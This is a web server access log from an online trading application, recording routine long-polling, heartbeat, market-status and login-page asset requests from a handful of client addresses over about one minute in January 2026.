[09/Jan/2026:13:46:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937855929 HTTP/1.1" -
[09/Jan/2026:13:46:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937873331 HTTP/1.1" -
[09/Jan/2026:13:46:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937864939 HTTP/1.1" -
[09/Jan/2026:13:46:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937858226 HTTP/1.1" -
[09/Jan/2026:13:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937861073 HTTP/1.1" -
[09/Jan/2026:13:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937878354 HTTP/1.1" -
[09/Jan/2026:13:46:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937870016 HTTP/1.1" -
[09/Jan/2026:13:46:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937863298 HTTP/1.1" -
[09/Jan/2026:13:46:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937866219 HTTP/1.1" -
[09/Jan/2026:13:46:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937883394 HTTP/1.1" -
[09/Jan/2026:13:46:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937875137 HTTP/1.1" -
[09/Jan/2026:13:46:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937868369 HTTP/1.1" -
[09/Jan/2026:13:46:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937871277 HTTP/1.1" -
[09/Jan/2026:13:46:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937888469 HTTP/1.1" -
[09/Jan/2026:13:46:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937880206 HTTP/1.1" -
[09/Jan/2026:13:46:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937873432 HTTP/1.1" -
[09/Jan/2026:13:46:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937876329 HTTP/1.1" -
[09/Jan/2026:13:46:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937893537 HTTP/1.1" -
[09/Jan/2026:13:46:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937885300 HTTP/1.1" -
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767937900801 HTTP/1.1" 3188
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:46:50 +0800] 103.26.122.162 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:13:46:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937878514 HTTP/1.1" -
[09/Jan/2026:13:46:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:46:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937881542 HTTP/1.1" -
[09/Jan/2026:13:46:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:46:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:46:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937898601 HTTP/1.1" -
[09/Jan/2026:13:46:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937890358 HTTP/1.1" -
[09/Jan/2026:13:46:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937883602 HTTP/1.1" -
[09/Jan/2026:13:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937886832 HTTP/1.1" -
[09/Jan/2026:13:46:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937903627 HTTP/1.1" -
[09/Jan/2026:13:47:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937895469 HTTP/1.1" -
[09/Jan/2026:13:47:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937888681 HTTP/1.1" -
[09/Jan/2026:13:47:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937892005 HTTP/1.1" -
[09/Jan/2026:13:47:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937908647 HTTP/1.1" -
[09/Jan/2026:13:47:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937900602 HTTP/1.1" -
[09/Jan/2026:13:47:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937893763 HTTP/1.1" -
[09/Jan/2026:13:47:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937897094 HTTP/1.1" -
[09/Jan/2026:13:47:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937913674 HTTP/1.1" -
[09/Jan/2026:13:47:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937905675 HTTP/1.1" -
[09/Jan/2026:13:47:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937898900 HTTP/1.1" -
[09/Jan/2026:13:47:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937902167 HTTP/1.1" -
[09/Jan/2026:13:47:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937919194 HTTP/1.1" -
[09/Jan/2026:13:47:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937910767 HTTP/1.1" -
[09/Jan/2026:13:47:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937903957 HTTP/1.1" -
[09/Jan/2026:13:47:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937907307 HTTP/1.1" -
[09/Jan/2026:13:47:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937925198 HTTP/1.1" -
